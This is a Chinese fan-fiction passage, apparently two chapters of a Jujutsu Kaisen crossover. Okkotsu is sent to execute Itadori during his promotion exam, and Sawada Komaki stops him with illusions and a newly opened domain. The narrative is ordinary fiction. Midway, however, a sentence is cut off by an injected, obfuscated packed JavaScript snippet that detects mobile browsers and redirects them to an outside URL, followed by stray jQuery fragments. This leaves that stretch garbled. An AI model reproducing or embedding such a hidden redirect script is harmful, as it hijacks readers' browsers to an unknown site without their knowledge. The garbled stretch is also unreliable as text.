下车以后的泽田同学有些昏昏欲睡,也对,其实她在车上就睡着了。本来他们可以聊天的,其余人,都不是喜欢闲聊的性子。 接下来,才是重头戏! 在这座大楼里放出了一只一级咒灵和若干三四级,任务要求是独自、在尽可能短的时间内、减少对建筑的破坏、袚除。 两周之后被疏散的楼里的人还要来上班。 他没在乙骨前辈解释完转身起步时立刻跟上,而是先问旁边的同学:“伏黑,要击掌吗?” 东堂在早上临时接了任务,没办法来东京,虎杖其实……总觉得有点尴尬,他不来正好。 意料之外,同学臭着脸和手心相碰了一下,“糟糕,我还以为你会拒绝,早知道就再事先想个像样的口号然后一二这样喊出来。” “你给我适可而止!” “嗨!我快去快回,中午我请你们还有乙骨前辈吃饭吧,”他挠着头笑嘻嘻地说,“虽然不知道乙骨前辈会不会来,但是你和泽田同学……泽田同学?” 泽田同学身上突然有了活力,以及……她差点平地摔,伏黑扶住了她,她苍白的脸上像被什么激活,有了红润血色:“抱歉,刚睡着了,果然我中午还是想汽水畅饮,到时候一起去。过会见,最好快点袚除,你看真希就是被截胡了,警惕重新排队。” ……这话由泽田同学来说,有点怪,但是他“喔喔”了两声,还向她做了个敬礼手势:“一定会在泽田同学睡着之前--”结束。 他听见了久违的宿傩的声音,于他眼下颧骨处的缝隙里传来兴致勃勃的恶意:“赝品?不对,是人偶啊。” 他下意识巴掌挥上脸前,对面泽田先朝他竖了个中指。 准确的说,是朝宿傩。 “……”啊咧,今天的伏黑和泽田都有点火气大,这是怎么一回事? “真是不知礼数的小丫头,不是怕我怕得要死吗?” “我以为千岁老人不知道这个手势的意思呢,抱歉。”说着抱歉,泽田同学两只手都抬起来对他做手势。 “呵,区区人偶--”虎杖压制着宿傩让他不再显形。 他有点歉意:“不好意思,一不小心把他放出来了,再见!” 少年院和顺平那次的经历都教育了他,诅咒说的话最好别听也别信,虎杖没把宿傩意义不明的放心上,他转身跟着乙骨忧太进入了办公大楼。 乙骨前辈布下了帐,退到一旁,声音也无精打采,和眼下阴郁的深色相呼应:“接下来你自己决定怎么做。” 虎杖追逐着残秽袚除了几个低级咒灵,乘电梯到了一楼大厅索引上好似容易形成咒灵的几层楼:员工食堂、讨债公司、银行,一无所获。 有一部分一级咒灵已经诞生了神智,天生的恶性会驱使之做出鬃狗戏耍猎物一样的行为。这只咒灵的手段也类似。 大楼里几个月来接连发生失踪,先是监控的损坏,无人维修,然后是深夜加班的公司员工、保洁,直到近期一个值班保安的消失才引来咒术师。 虎杖觉得问题或许出在同行人数上,他提出要独行一段时间。 他的前辈颔首应允,然后转身离开。 “等我看见它再通知你。”他没被搭理。 咒灵的目标果然是独行者,过了十分钟,虎杖就见到了造成多人失踪--多半是被吃掉了的罪魁祸首。这咒灵看上去是负伤状态。 虎杖此时想的是另外一件事,他应该怎么通知前辈来…… 掰开电梯外门,顺着电梯井跳到滑到低楼层,又一个问题,他不知道哪个是一楼,在里面每一层都是一扇盒上的铁门。 虎杖碰碰运气,他大喊一声。 今日的第三次幸运,前辈迅速赶到。 “太好了,这样我们就可以完成然后出--” 事不过三的原则在此场景不合时宜地发挥作用,尊敬的前辈拔出刀,他张口想问前辈您是不是忘了这是一级资格审查,考官是不能动手的。 却发现前辈身上的杀意,前辈的目光,以及刀剑所指的方向,是自己。 “虎杖悠仁,你已被总监部取消缓刑,我来执行对你的处决。” 他的清汤大老爷,这种事情没听说过啊!惊讶的男高来不及惊讶,他掉头就跑,听见风声和咻的一声挥剑之音,下意识躲开。在楼道转弯处回头,发现地板被打穿,大楼结构的钢筋都露出来。 这个人,和五条老师一样是特级,他停顿一瞬,遗落在后面的畏惧才跟上身体行动,虎杖觉得四肢有些僵硬,甚至一瞬因为上位者的威压而难以动弹。 虎杖悠仁是一个喜欢看电视的普通男孩(八个月前),现在不算普通了,但还喜欢看电视。他想说点什么拖延时间,开口就是一句嗓音干涸沙哑的:“为什么。” 这话在说出口的一瞬间就不吉利了,因为□□电影里都是这么演的,为什么,然后,断气。 一个雨夜,黑色的风衣,寻仇,最后给冷酷的执行人一个镜头,枪的硝烟,唇边的烟,还是弥漫起的如烟雨雾,总少不了这样的场景。 “还以为一下就能刺中。”面无表情的前辈轻松将刀从废墟中拔出,他说话的声音平平低低,完全没有起伏,暴起的咒力却在诉说另外的信息:“至于理由,总监部的决策如此,你只是连带伤害。虎杖悠仁,我立下了束缚。在五条老师回来前,拼尽全力干掉你。” 尽管很高兴对方能配合先说话,虎杖仍感受到更深的挫败和恐惧:他不把他放在眼里,自信能达成目标的人才从容不迫。以及,五条老师可是昨天才出发,预计也要明晚才能回来!! 特级的拼尽全力……虎杖在生命的尽头发现自己一是确实很有幽默天赋,二是觉得对不起好友,他想到的最后一人难道要是泽田同学吗? 倒也不是别的,他想起了她的口头禅,婉拒了。虎杖是真的觉得这句话很好笑,尤其是泽田同学说这话的时候总是面无表情。这奇怪到诡异的笑点,在这个时候也发作了。 接下来就是紧张刺激的他逃他追环节,虎杖忆不清楚自己是什么时候也开始破坏公物了,不知道大楼里的工作人员如果得知两周以后不能正常开工会是什么心情,但他无暇考虑这些。 最终,他的刀尖刺入了他的腰腹。他没学过在武器上凝聚咒力,拳头上的咒力也不是每次都能打出黑闪……而且根本打不中前辈。 在地上随便拿了根物理学圣剑很快就被削断,他悲哀的意识到一切都是困兽之斗。对方有利的一击没有斩断他格挡在胸前的手,一抹灵光穿透了他的灵魂,直抵大脑:“前辈,您也不想杀我对吧?”那是刀背,这大概不是一次错误。 “容我向你再次说明,这无关我的想法,你只是连带伤害。” 就算乙骨前辈这么说也……一定,一定有什么办法。 一道声音打断了他的思绪。 “嗨,我是不是来迟了。” “哇,这没两个月很难开业,物业公司的保险够覆盖吗?” “可话又说话来,如果我是里面打工的,那可就重返新年。” 有关上班的辩证论,在剑拔弩张的场景被第三人提出。 他的紧张情绪就像脱钩成功的鱼一样于七秒内消失,他的怀里是泽田同学托代为保管的面包脆。“你可以吃一点,但不许吃完。” 池塘里的金鱼也喜欢面包屑。 “当然,万勿忘了本职工作,七海海已经实现了面包自由,虎杖你的话,应该饭量更大才对。” 虎杖想起来自己是来晋级审核的,等咒灵被袚除,外界的帐也会消失……帐也会消失?! 也许他刚才比起逃脱更应该优先袚除那个一级,接着干脆从楼里面跳出来。拼尽全力是一个暧昧勾连的词组,它并不苛求结果。 对不起,乙骨前辈,是他太笨了,如果是在朗朗乾坤之下,正义的咒术师也很难大开杀戒--咒力的使用严格收到咒术界规定的约束,其中就有不得在普通人面前随意施展并造成恶性影响的严厉规定,如果是那种情况…… 他看见挡在自己面前的背影,和高大健硕无关率高达100%,但无端令人安心。不过这种话如果说出来绝对会冒犯到对方,他打着哈哈:“多亏了你,泽田同学,不过你……” “我没事,乙骨忧太就交给我来解决。” 接下来她的话就是对乙骨前辈所说:“原来是拼尽全力……你就是这样和高层讨价还价的?说实话就算他们勾结羂索,安排他去北极或者南极……我也不清楚哪个离日本更远,就算如此我也不惊讶。好不容易把人调开,预计任务时间却只有三天。而且,他们是确定在五条悟在抵达法国以后才安排你执行任务的吧?胆小鬼,如果是我的话,就算是最强要保护的人,也当面干掉给他看吆。” 泽田同学还真像个杀手,啊,不对,她本来就是杀手。 哎,干活去了,大人世界的勾心斗角他听不懂啦。 “泽田,你就像五条老师一样令人安心呢!”虎杖真心实意的夸奖。 令人安心的背影向水面涟漪一样被打乱了:“夸的好,婉拒了……五条悟一点也不令我安心。顺便一提,护卫任务是令我生厌的工作排行榜上位列第一的,因为任务目标总是会做出愚蠢的事情,虎杖,你可不许像他们一样。” 接下来的事情和他就关系不太大,虎杖拐了几道弯,顺着疮痍的楼道找回原点,又沿着形似泥浆怪物的咒灵残秽一路通往厕所,然后发现这个咒灵真没有人类的讲究。可虎杖作为想要立足于社会里的青春男高,实在是没有把自己塞到马桶里的勇气,不得以另寻他法,耽误了点时间。 等他从走道最深处的窗户里看到外面的帐消除后,选择最短路径开窗跳了出去--消防通道耗时间,而电梯已经不能用了。先前他在楼道里就能听见电梯井里传来的声音,两个女声,一个气急败坏,另一个他一下就听出来是泽田的匣兵器,奈亚女士的肿胀之女面相。听声音她像是在因为祈本里香有点头疼,但话语里通通都是更激怒对方的言辞。 真是神奇,一个人又能变男又能变女。 虎杖在水泥路上以脚掌处为圆心留下一个大坑,这里是大楼后侧,原先被当做停车场,现在除了路和光秃秃的树和门口一个无人的保安亭,什么也没有。 在听见一声爆炸响后他开始赶往大楼正门,在远远看到警戒线外的同学时他还兴奋朝他招手,伏黑没看见,他的眼睛盯着前上方的天空。于是虎杖也顺着他的眼睛往那里看去,他看到了周身遍布火焰的巨鸟,其翼如从天的另一边垂下,延伸到另一边,随后他一阵眩晕,天与地在视线内旋转,脚下的水泥路瓦解,露出的地方是虚空,那里什么也没有,只有永恒的坠落。 他在幻觉中一阵飞旋后直接呕吐了出来,连呕吐物也在空中凝滞,里面除了他的早餐还有血,可能是胃受伤了,也可能是咽喉和鼻腔。 在他看见红红白白黄黄又酸臭的粘浆时,才想起来天上那只鸟可能是另一只被泽田用来作交通工具的匣兵器,它时而小小一只,红脚白嘴,不声不响停在主人肩膀上;时而化作小轿车大小载人行运,但总归不是这么异常尺寸。 与之相比伏黑这个情况更像迪士尼公主了啊喂!这么想着,身体有了实感,不再像极速下坠的虚无,他倒在了自己的呕吐物里。 狼狈。安全。 一阵恍惚后他视线重新聚焦,看见了爆炸的来源。这样形容女孩子实在是冒犯,但他看到了一坨脂肪怪物和一条长得能看出咒灵形状的怪物扭打在一起。 两边的声音都混沌不清。 不用参与其中,光看见这一幕对常人来说已经是精神污染了。 虎杖不算一般人,他有着过人的定力和承受力,他扭头寻找初心--他场外神色焦虑的同学。他还想中午一起去吃饭,多吃点,至少把早饭补回来。他看了眼时间,现在还不到十一点,只是变故将感知拖延,身在其中的人和时间一起拉得很长。 按理说十二点之前能结束,去吃饭应当来得及。 结果最后也没得偿所愿。 * 小莳在第二天清早才给造物布置了任务,“乙骨忧太的体术应该很差。所以--奈亚,你这是什么表情?” “没什么。”上次有个人的体术也是被判定为平平无奇。 “我以为至少要我说完后你才会不情愿,总之……真希说的,乙骨就是个豆芽菜,所以你无须担心,这次绝对很简单。”不愧是奈亚,敏锐。 她说,第一步,幻术加强一下美貌;第二步,勾引乙骨忧太,成果不重要,反正他审美呃呃呃,好像也不是美貌人类这挂;第三步,总之祈本里香一定会自作主张跑出来,他的任务就是把生气的祈本里香拉到一边去打。 “反正你只要多刺激刺激她,她就会像世界上所有的小疯子一样盯着你,祈本里香年纪不是很大的样子,好骗的很。老实说我也没想到这辈子会用到这种【嗨嗨嗨你爸妈不要你了】欺负小孩的战术。但她长得就和你相性很高,而且我也不是很擅长和这种乱来的家伙拖延。”她小时候对蓝波都不这样。 现在,时间紧任务重,方法实用就行。她不介意用一点损招。 “总之英雄难过美人关嘛,你加油。” 难过倒也不是这么个难过,但这是小莳的要求,奈亚无论如何都不愿违逆,接下。 一切都在顺利进行。 小莳留下人偶在原地,进大楼里晃荡,她还和奈亚逛了一圈开设在13楼的茶餐厅,去后厨逛了一圈,探索了柠檬巴巴露亚好吃的秘密--拍了一圈原料。 出来以后听了一路墙角,大家都是反侦察能力很差的人,在听见想知道的束缚内容后,小莳分神回到观众席和男友还有伊地知先生说了几句话,随后解除附身归位双手插兜闪亮登场。 如果虎杖真的按照乙骨所想的被干掉……她不觉得他再次复活的概率会很大。高层已经吃了一次只看报告的亏,家入医生因为审查不严、报告被推翻还被扣了几个月绩效,虽然她本人倒不是很在乎,不经常出高专,总是加班,没什么机会花钱,余额就只是一串数字而已。 现在一没紧急情况,二没五条悟这个干扰,带入高层的角度肯定会想看见尸体,或许让乙骨带一个便携的头颅回去。 这种事情不好细想,即使是没有感情的杀手也不乐于见到昨天还说要一起吃饭的家伙今天摸不着头脑。 果然还是要阻止这种事情发生,里香,如果要怨恨你就怨恨虎杖同学吧! 小莳一点也不愧疚,她只是在乙骨互呼唤两声都只得到式神的背影后感叹:“真是伟大的纯爱!” “……” “怎么了,办法老套好用就行,我未必不能销毁你的式神,但如此岂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413146|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是太伤感情了,还是直接把你打趴下比较好。” “是吗。”乙骨并没有问问题的意思。 “是哦,最后大家都会平安无事的。”小莳点燃戒指上的火炎,于现场用幻术制造了一把枪,拖延时间:“这次里香并不是你释放出来的,也算不上完全显现,你可以过几分钟解开她的限制,不是不拼尽全力,是调拼。给奈亚一点时间。”碰瓷。 小莳本人没见识过很多束缚,然而若是所有的契约都真实有效,世界上大约就会有不少律师失去工作,人以其狡诈灵活,总能隐蔽住一些东西,束缚想必也不例外。 用枪身抵住乙骨忧太的刀锋,另外的手又幻化出新的武器,朝他砰砰射了两枪,他于是闪身后退。 一次短暂的试探。 拉远距离后小莳一点也不恋战,狭窄的楼道比起空旷的场地更不适合幻术师作战--工具有不少,但阻碍也是。她又发射了几枚子弹,以此来帮乙骨忧太规划行动。 他全身咒力覆盖的条件躲子弹和接子弹应当都不成问题,两人的距离远远近近,小莳没忘记自己的主责是牵制,但她想换个场地。 乙骨也是个训练有素的咒术师,也发现了她的目的,但如她所说,遇到拦路石,拼尽全力把石头解决再向目标前进也算是一种行经路上的拼尽全力。 他的束缚也认可了。 小莳看见乙骨忧太向她点了点头,她有点没明白他的意思。 她朝他眉心打了一枪,另一只手反向打碎了玻璃,霎时间在被高空的风和子弹冲击下碎的到处都是的玻璃渣中,小莳摊开手向后倒去。 帐里的环境灰蒙蒙,而玻璃反射的辉光亮晶晶,乙骨忧太冲到大楼边沿往下看,正看见小莳乘着帝女雀网上的样子,下一秒,她仰视着他,两人的距离不及一臂宽。 小莳拽了乙骨忧太的衣领,乙骨忧太从二十几楼掉下去。 乙骨忧太没有摔到地上,它被一层看不见的地面接住,向下看去,和从天空中往下看是一个景象。 她说:“现在你可以完全释放里香了,真羡慕你们能共享视野,我和奈亚就不行。” 从乙骨忧太的表情看来,肿胀之女应该已显出原形。但是他都和这种风格的里香谈恋爱了,对奈亚的底层设定怎么还一脸费解。 说真的,祈本里香也不比肿胀之女好看多少。 这算是情人眼里出西施? 噫。 乙骨忧太转动一圈戒指,将它贴在心口。然后重新握住刀,周身咒力比她见过的任何一次都更甚。小莳对咒力倒没什么感觉,她左手重新拿上枪。 又过几次交锋,在乙骨忧太又一次挥刀至她面前时,小莳说着“真是稀奇,两个体术不通的人在这里进行武艺大比拼。”右手却揽住自己的腰,在感受到面前的风时凝聚火炎,一瞬之间她的手上多出一把剑。 “既然如此,我也不客气地念一次技能的名字。” “鲛冲击。” 还是她第一次瞬间完成凝造,在感受到右手沉甸甸的实感重量和粗糙磨砺手指的握柄时,她便露出一个微笑,接下来的一切都顺理成章。 虽然也是第一次幻术和咒力同用,但意外的契合,她扫出的强烈剑气在乙骨忧太的高专校服上都留下了痕迹。 “你的全身神经应该都暂时麻痹了,不过接下来才是好戏开场。”小莳打了个响指,“后面半句刚刚漏了。虽然是酣畅淋漓的一剑,但是体术什么的于我还是太勉强,把鲛冲击当奇兵进行一步险招就好,就当它是通往仙境的兔子洞吧,乙骨忧太。” 小莳后退,准备用幻境来代替真人出场,身体在某一处却像浸在水泥中一样动弹不得。 “不许动。” 倔强的小莳不想听,她动了,然后吐出一口血。 单手以刀拄地支撑的乙骨也朝面前吐出一口血。 这就是他昨天说的咒言反噬。 “……你真讨厌,乙骨忧太。”她拭去唇边一抹红,转身的刹那身影就消失不见。 小莳不得不承认对方是个棘手的对手,他在她的环境里实施物理改造,如果乙骨忧太没做咒术师,说不定本来会是一个优秀的拆房子工人。 强大的咒力就是他最好的智慧与计谋。 前些日子进展为0的领域相关研究因为和强者对战,直面强敌而有了点异常。有什么桎梏松动。学习这件事情在小莳身上是一场顺势而为的流水逐风,既然如此,她也愿意尝试一些比保守选项更为冒险的对策。 而且保守选项总是不尽够用,她加大了火炎的输出量。 随着咒灵被袚除后帐的消退,小莳向下俯瞰,也见到了没多久之前告别的一行人--满打满算也就十来分钟。身居半空的她和身后巨大的游荡在天空中的帝女雀也就完全显露出来。 再过几十秒乙骨忧太就该杀出重围了,一分钟后会发生什么无人知晓,大部分的未来隐没在迷雾中,混沌朦胧,像水中的影像般看不清面容。可在水下,她的直觉在其中被洗涤,像鹅卵石一样清楚可辨。 天空和海洋确实总是被拿来做对照,神话里也是如此。可在此时,她与乙骨忧太踏足于除了幻觉一无所有的半空中,正如在水面上--一不留神就会落入深水区。 “嗨,中午好,你过得怎么样?我还不错。”小莳冲因身上落了灰土砂石而看起来些许狼狈的执行人招了招手。他的注意被她身后的帝女雀吸引。 “很高兴你注意到了它,或许我还没有和你们提起过,帝女雀,其实来源于中国的神话。前面忘了后面忘了,总之--”术士又没有公开的加持,更何况现在也没必要拖延时间。 小莳仓促地结束了这个有她突发奇想自己开启的话题,自说自话进入下一环节:“你小时候会不会爱看那种动画片,角色在高处走着走着,突然发现自己脚下没了路,竟然身处虚空。然后……”她身出一只手,五指全朝下。 幻觉这种东西,在和非术士人员战斗时优势巨大。她说有就有,她说没有就没有,乙骨忧太又回到了重力的怀抱,极速下落。 于半空中被飞驰如箭直奔目标的帝女雀袭击,他把握住了机会拽住它的鸟羽,另一只手挥剑攻击。 咒力保护了他不受火炎灼烧,可他已断的刀剑也戳不破它的坚硬翎羽。鸟羽沾染着火舌纷纷扬扬自天落下,到地面时就成了黯淡无光的枯白色羽管,还有周边勉强能显示曾经其华美姿容的一根根卷曲焦黑。 一声巨响过后,目之所及,身躯之所能抵达的范围内另一对演员就位。 繁殖的肉块妥协般包裹正在凶残啃噬、以执迷的狂欲抓挠着它皮肉的家伙,它的触手和镰刀样的勾爪金不再像小莳上一次见到它那样意气风发。 虽然都是特级,但是看样子里香比真人还难对付,真是了不起。 “乙骨,里香的时间快到了吧,”和陆地上正进行的粗俗暴烈的交锋不同,小莳这边因为不假自己之手堪称风度翩翩,她精致到像是马上可以去参加一场商务会谈。 她清楚地看到乙骨忧太的眼睛里闪过一丝蓝光,那是咒力吗?她不知晓,但总归是战局里于己不利的因素。 她出言想说点能打断他思路的东西,从他一瞬间茫然凝滞的表情来看,她成功了。 她所需要的时机也只有一瞬。 人这一生都面临狭窄的限制,□□的生老病死,精神的稍纵即逝的灵光,在场众人还都没到□□将消亡的时候,小莳只是有点抱歉,一不小心打断了这位同学于拘束中难得窥见此世界众生之奥秘的私人时间。 哦,她故意的。 如果乙骨忧太开了领域就麻烦了,又是复制又是里香,他会从一个卓有成效的拆楼工人变成一个巨大的幺蛾子,她不愿得见那一幕。 小莳再一次下坠,坠落的速度是gt,时间不足两秒。她于半空中和扯着帝女雀利爪的乙骨忧太来了个上下颠倒的对视。 她说:“承让。” 她停滞在半空,时间短到发丝都在惯性的温柔乡里没来得及响应地心引力召唤,她的右手食指点上了他的脑门,念出那几个许久不见的隐秘音节【领域展开:不垂堂】 于众目睽睽之下,现世并不当存在的通体燃烧地异兽、不可名状的狂蔓茎状生物、天空中短兵相接的两个渺小人类,一同消失了。 只留下一个祈本里香。 伏黑惠来不及听独独剩下一个祈本里香的凄厉像热油冷水翻腾溅射的哀嚎,他身边几分钟前还会同他开口说话的人偶失去意识倒在了地上--就在乌云一样的巨鸟阴翳散去同时,也就是小莳不见的时刻。 所有的情绪被格式化成茫然,然后通通投入恐慌。 也像潘多拉魔盒一样,最底里的还有一丝希望。 他们说不定只是进入了又一个幻境,小莳不会让自己待在危难之中,她在安危问题上一向立场坚定。 * 小莳第二次进入自己的生得领域。这是一个洒满阳光的古典庭院,看起来很适合在其中装几个晾衣架,再来一壶茶。 她特地看了房梁和屋檐,都很坚固,完全没有要塌的迹象。 很好。 拾起木质地板上蔫嗒嗒的疲惫小雀,将它收回匣子里,然后是衣衫褴褛却在和同样狼狈的乙骨忧太对峙的奈亚,她用反转术式治疗了她。 “呀,怎么没看到祈本里香,她被你收回去了吗?” 小莳是目前全场状态最好的人,也最有精神。 “……不,我感受不到里香了。” “坏了,我又成孤立小妹妹的坏女人了。”在此之前还派我的狗腿去勾引她男朋友。 小莳说这话的时候,眼前二位一看便知,没有任何诚意,就像黄金能被吸铁石吸动一样真。式神、以及五分钟的限制令小莳并不太担心那边的情况,反正等咒力用完或者时间到了,她自然就会消失,造不成什么影响。 作为一个进宅不久的房屋主人,小莳对她强行拉进来的客人相当怠慢:“这里是我的生得领域,好像完全独立于次元外,虽然有时间流逝,但咒术界的规则大约影响不了你。换言之,你的束缚没了,如果这是什么玄幻背景的古代言情小说,咒术界恰好供奉着一盏你的魂灯,那它多半也已熄灭。” 她举了个自己最近看的网络文学的例子,乙骨好像没受过太多这些快餐文字的熏陶,她也不换个方式解释,只是说:“可以去庭院里晒晒太阳,闲着没事可以帮我看看房子有没有安全隐患,总之等我看到你老师了就放你出去,到时候你们是里应外合徐徐图之还是师徒联手乱鲨我都不介意。” 乙骨忧太在小莳问完问题以后再也没找到机会开口,他只好对着小莳的背影急匆匆说:“谢谢你,泽田同学。” “啊?” “就是,很感谢你救了虎杖,老师曾在去年就去国外找过我。”他将虎杖刚入学没多久后五条悟的第一次出差时的嘱托和她说了,“如果不是你的话我大概就只能杀死虎杖,可不能确保他顺利复活,总监部也……” “我也是被拜托的,不是什么值得一提的事。”已经过去的任务不如她的未来一顿饭重要,好消息是她又一次进入了领域,“你自便,别把我领域拆了就行。” 小莳在房屋里晃了一圈,发现这里除了温馨并无可观,虽然阳光积极程度比起与幸吉好上百倍,但攻击性几乎为0。 直到她在平平无奇的角落看见一条通往地下室的被掩藏的阶梯,于是拾级而下,走入一盏暖黄色的光,她看见了一座图书馆。 记忆殿堂吗? 太酷了。 小莳很克制的没在里面迷失太久,还有人在等她回去。翻阅了两本孩提时期的绘画集,她的手停顿在7岁前,等以后再来看。人偶在惠惠身边,在她进了领域以后应该会像失去意识一样晕倒,时间久了他应该也会担心。 她已经掌握了出入领域的方法,就像小女孩正式学会了骑自行车那样。 再也不会像万圣节那次一样出去就找不到路了。 79. 第 79 章 伏黑惠相当忧虑。关于人偶的事情他并不了解多少,只知道这是小莳通过幻术实体化的等身自己,附身则习自另一位声名远扬的幻术师六道骸。女友在空中一下无影无踪,带着她的造物还有乙骨前辈,身边先前还时不时说句话的人偶倒地发出碰撞声音时,他才反应过来有意外发生。 祈本里香很快也消失。 虎杖和他及伊地知先生说明了情况,和他在小莳那里听说的差不多。把人偶托付给辅助监督后,伏黑惠进入了空无一人的大楼。 跟着一起的还有虎杖。两人分头行动。 没见到小莳的影子,倒是看到了奄奄一息的诅咒师,深居简出的20亿罕见地又出现在公共场合,又引来了赏金猎人。 身体被触须穿过,脑袋被刺中,他是被奈亚所伤。 也是一种幸运。如果遇到的是里香,大概已经死了。他无意处置这个没有行凶能力的投机失败者,也不想救他,因此也不理会在发现他并不想动手后而恬不知耻的求救。 玉犬还没有传来信号,他也就跟着子弹和刀的痕迹漫无目的搜寻。 几十分钟以后,他接到了一通电话,来自医院。他犹豫了几秒就接听,津美纪醒了。 再一次听见久违的姐姐的温柔声音,他应该喜悦的,他应该为她高兴的,他应该立刻去看她的。 短暂地关怀完毕后,他挂断,在微不足道的进展上继续搜寻小莳的痕迹。 他知道这毫无关系,可忍不住联想。津美纪昏迷了一年有余,不知为何诅咒也解除了,偏偏在如此相近的时间里女友又消失不见,好像是去了另外一个世界。 她什么时候才能回来呢? 他今早都没怎么和她说话,他们昨天不欢而散。 负面的情绪塞满了大脑,发出只他一人能听见的轰鸣。 玉犬的嚎叫解救了他。 * 小莳从领域里出来的时候身还在半空,她损坏了一面玻璃,进入了一家公司。 是出版社,这里的稿子和书名她一概没有印象,她随手翻了两页被人遗留在桌上的稿纸后就离开。 坏消息,电梯坏了。 更坏的消息,这里是16层。 小莳回到溪谷出版社--她走正门进来的时候看了一眼门牌,撕了一页那本稿纸的封面,将之幻化成一叶舟,从高楼飘下去。 她落到一片灌木丛旁,再边上是一所学校,她看见了操场。然后和找过来的玉犬亲切沟通了一番。 “乖狗狗,真可爱。” 它开始嚎叫。 小莳这才发觉伏黑惠可能在找她。她拿出手机给他打了个电话。 “喂,惠,是的,我刚刚只是顺手解决了一下乙骨忧太。不是什么大问题。不,为什么你会怀疑我遭遇不测了……” 她被叮嘱待在原地哪里都不要去。 伏黑惠甚至是在五楼从窗中跳下来的,他的动作不停歇,一路跑过来抱住小莳。 “对不起,小莳。我昨晚不应该那样和你说话。我向你承诺,以后不会了。”他把头埋在小莳颈窝里,贪婪地呼吸她周身的气味。 也可能是跑的太快呼吸不畅。 小莳本来欲问自己不见了多久,怎么他反应这么大,闻言就开始使坏蹬鼻子上脸,说:“没关系,我已经很习惯在恋爱里被男人甩脸子了。” 伏黑惠想到她有唯一一个前任,而昨天算是他们第一次闹不愉快:“……”心里一阵酸涩。 她想推开他,想吃饭去了,没推动,然后听见男友鼻子吸气的声音,惊讶问:“你不会哭了吧?” “没有。” “那就好,我就想说你鼻涕别流我衣服上。” 因为小莳的话,两人的拥抱结束的异常迅速,没有一点煽情的机会。 只是在伏黑惠给虎杖打完电话后,两人顺着道路走回正门时,他问:“你们以前会吵架吗?”很快又补充:“我以后都不和你吵架。” 小莳就知道他会问:“不吵。我这人惯会忍气吞声,他惹到我算是踢到棉花咯。” “……” 小莳变得危险:“你觉得我脾气不够好?” “……” “算了,不逗你了。”她勾着他的臂弯,两人走着走着贴到一起,她说:“毕竟他是我债主,大概是一生唯一一个了。” 她反正觉得就算要给自己定价,没个几百亿拿不下。更何况无论恩情还是爱情都和金钱不同属一个价值体系,即便勉强等价了,也说服不了自己的心。 “时移世易,你想救我的命还是很难的,我会很努力的活下去不劳任何人费心。”小莳骄傲叉腰,总结。 伏黑惠因为她的话陷入了更深的不安。 “对了,乙骨前辈怎么样了。” “你才想起来他?晚了,他已经在另一个世界了。”小莳说完以后停顿一会补充,“在我的生得领域里晒太阳。他女朋友出不来,他应该挺孤单的,那地方咒力还没被发明出来。” 真是关心前辈的好后辈,一点也不因为她前半句而惊讶。不可爱。 小莳与他和虎杖在大楼门口汇合,少了最重要的评定员乙骨,虎杖后知后觉问:“那我这次成绩还凑效吗?” 在场最会说话的小莳安抚他:“等你五条老师回来把高层豆沙了,我看谁不承认我们虎杖同学的一级咒术师身份。” 今天,她又一次得见自己的领域,也见识到了精神世界的一角,她开始正视灵魂的存在。以前总挂在嘴边,但就和神明、至高的存在之类一样,多用于调侃,少数用于适应新社会言语背景;现在她见过了,当然得尽快扭转思想,等下午有时间再进去探索发现。 她对虎杖的排斥感也减少了。不知道是不是因为刚才意识附于人偶上,朝宿傩勇敢的竖了中指的原因。Emm,也许这算是一种祛魅。 辅助监督伊地知洁高在车里不敢出来,他听见了这话,浑身发抖。 小莳当然不会厚此薄彼:“你就当什么都不知道就行。乙骨要刺杀虎杖也没人告诉你对吧?” 她循循善诱。 “只要把看到的内容如实上报就好。帐后来解除了,估计高层那边又要想一想公关舆论的小对策。俗话说得好,别人的痛苦是蜜糖味道,看到高层接下来要兵荒马乱的先是处理公共危机,再是保障人身安全,我真的是心里暖洋洋的。” 都别想好过,她上一次熬夜……那个不算,上上次熬夜还是在去年涩谷。 伊地知如坠冰窟,但是他知道,小莳说的没错。片刻后他开口的时候嗓音都虚浮:“好的,泽田小姐,我会按照您说的做。” 尊称敬语全用上。 最后计划还是没能执行,不过是因为一件值得高兴的好事。伏黑惠没有和他们一起吃饭,他在附近的公交站台下了车,去见医院里昏迷醒来的姐姐。 “哦?那我和虎杖去吃吗?” 虎杖悠仁觉得不行:“……” 伏黑惠也觉得不行:“……” 中午小莳看到自己的匣兵器登上了多平台热搜,那时她还在车上选择自己的外带。随后她回高专简单的吃了麦当劳便餐和奶昔。 给男友发了消息,简单告知下一去向后,她再度进入生得领域。 乙骨忧太在门廊边坐着转无名指上的戒指,看见院子里突然出现了人,他惊得站了起来。 小莳冲他招手示意:“这里还没通网,不过我想也不太难办到,只是在那之前你就能出去了。你要睡觉吗?弹簧床乳胶垫或者基础的硬床板我都会变。”看把孩子黑眼圈都熬出来了,趁这机会好好大睡几天。 乙骨忧太谢绝了她的好意,转而问起伴侣和外面的事情。 小莳以前不是咒术师,对咒力也没有需求,她的生得领域也印证了这点:这里并不承认咒力。她说:“等你出去就可以用术式了,今早引发了一些讨论,但问题不大,会有人善后的。” 她的脑中闪过了伊地知先生坚守岗位的身影,领导们布置任务的时候没想带他玩,但擦屁股的事情总少不了这些老实巴交任人宰割老黄牛。至少在五条悟回来之前,他睡不了觉。 乙骨听她说不要紧,便不再多问。 他也是有点老实巴交在身上的。 小莳赠与他一把太阳椅,随后自己又通过房间隐藏的台阶进入了藏书室。她在角落里发现了一台老式电话,和一个投影仪。 她握起听筒,周围陷入漆黑,只有身侧的拨动电话表盘在聚光灯下莹莹反光。小莳转动拨盘,齿轮和齿轮碰撞,发出咔咔珂珂的声音。待她松手,号码盘反向旋转,咻咻和叮叮的铃音过后,空中浮现两个名字。 小莳差不多知道这个电话是用来做什么的了。 她打给了与幸吉。 “猜猜我是在哪里联系你?” 片刻后才传来目标任务惊魂未定的声音:“泽田?” 小莳的手缠着电话线,漫不经心:“除了我还有谁能这样和你说话,带点脑子,与幸吉。顺便你怎么知道我又能领域展开了?” 